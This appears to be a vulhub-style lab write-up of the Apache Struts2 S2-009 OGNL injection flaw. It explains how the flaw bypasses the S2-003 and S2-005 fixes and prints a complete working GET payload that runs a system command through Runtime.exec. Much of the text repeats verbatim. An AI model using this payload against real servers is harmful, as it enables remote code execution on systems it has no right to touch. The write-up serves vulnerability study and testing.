This text details the Struts2 S2-009 vulnerability, affecting versions 2.1.0 to 2.3.1.1. It explains that while Struts2 fixed S2-003 by banning static method calls and S2-005 by blocking backslashes, S2-009 bypasses these defenses. If an action accepts a parameter like 'example', an OGNL expression can be placed in that parameter and executed via a crafted URL, circumventing the restrictions on special characters. The exploit is demonstrated using the 'Struts Showcase' application, specifically the 'Example5Action' which accepts a 'name' string parameter. By placing OGNL code in the 'name' parameter and accessing the corresponding action URL, commands can be executed, such as creating a file in /tmp. The vulnerability is not limited to this specific application; any parameter passed to an action can be exploited.
Prerequisite reading: This vulnerability once again stems from s2-003 and s2-005. To understand how it works, you should first read the s2-005 write-up: https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
Struts2's fix for s2-003 was to disallow static method calls. In s2-005, this restriction could be bypassed directly via OGNL. Similarly, the # character can be bypassed using the encoding \u0023 or \43. Struts2 then addressed s2-005 by banning special characters such as \, preventing users from submitting backslashes.
However, if the current action accepts a parameter named example, that parameter will enter the OGNL context. Therefore, we can place the OGNL expression inside the example parameter and then use the method /helloword.acton?example=<OGNL statement>&(example)('xxx')=1 to execute it, thereby bypassing the official defenses against the #, \, and other special characters.
Crafting the Exploit
The test environment is a Struts2 showcase website called Struts Showcase, which contains a lot of code. Our goal is to find an action that accepts a parameter whose type is string.
First, extract S2-009.war (I use binwalk, but you can just use zip directly). The source code is all under the WEB-INF/src directory. I usually look for Ajax-related code since it tends to have simpler logic.
We find a file called WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:
JAVA
public class Example5Action extends ActionSupport {
private static final long serialVersionUID = 2111967621952300611L;
private String name;
private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override
public String execute() throws Exception {
return SUCCESS;
}
}
The code couldn't be simpler — it accepts the name parameter and calls setName to assign it to the private property this.name, which is exactly what we need. Then, check the URL routing in WEB-INF/src/java/struts-ajax.xml:
name=example5, so visiting http://your-ip:8080/ajax/example5.action will hit that controller. Following the approach described in the explanation above, place the OGNL payload in the name parameter and visit that URL:
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Since this POC has no output, we call the touch /tmp/success command instead. Checking the /tmp directory confirms success:
In a black-box scenario, this vulnerability isn't particularly restrictive. As long as you can find a place in normal business logic where a parameter is passed, just give it a try using that parameter name.
S2-009 Remote Code Execution Vulnerability
Affected versions: 2.1.0 - 2.3.1.1
Vulnerability details: http://struts.apache.org/docs/s2-009.html
Setting Up the Test Environment
How It Works
Refer toStruts2 Vulnerability Analysis: New Insights from OGNL Expression Features. The article notes that this method of introducing OGNL may appear not only in this vulnerability but also in other Java applications.
Struts2's fix for s2-003 was to disallow static method calls. In s2-005, this restriction could be bypassed directly via OGNL. Similarly, the # character can be bypassed using the encoding \u0023 or \43. Struts2 then addressed s2-005 by banning special characters such as \, preventing users from submitting backslashes.
However, if the current action accepts a parameter named example, that parameter will enter the OGNL context. Therefore, we can place the OGNL expression inside the example parameter and then use the method /helloword.acton?example=<OGNL statement>&(example)('xxx')=1 to execute it, thereby bypassing the official defenses against the #, \, and other special characters.
Crafting the Exploit
The test environment is a Struts2 showcase website called Struts Showcase, which contains a lot of code. Our goal is to find an action that accepts a parameter whose type is string.
First, extract S2-009.war (I use binwalk, but you can just use zip directly). The source code is all under the WEB-INF/src directory. I usually look for Ajax-related code since it tends to have simpler logic.
We find a file called WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:
The code couldn't be simpler — it accepts the name parameter and calls setName to assign it to the private property this.name, which is exactly what we need. Then, check the URL routing in WEB-INF/src/java/struts-ajax.xml:
name=example5, so visiting http://your-ip:8080/ajax/example5.action will hit that controller. Following the approach described in the explanation above, place the OGNL payload in the name parameter and visit that URL:
Since this POC has no output, we call the touch /tmp/success command instead. Checking the /tmp directory confirms success:
In a black-box scenario, this vulnerability isn't particularly restrictive. As long as you can find a place in normal business logic where a parameter is passed, just give it a try using that parameter name.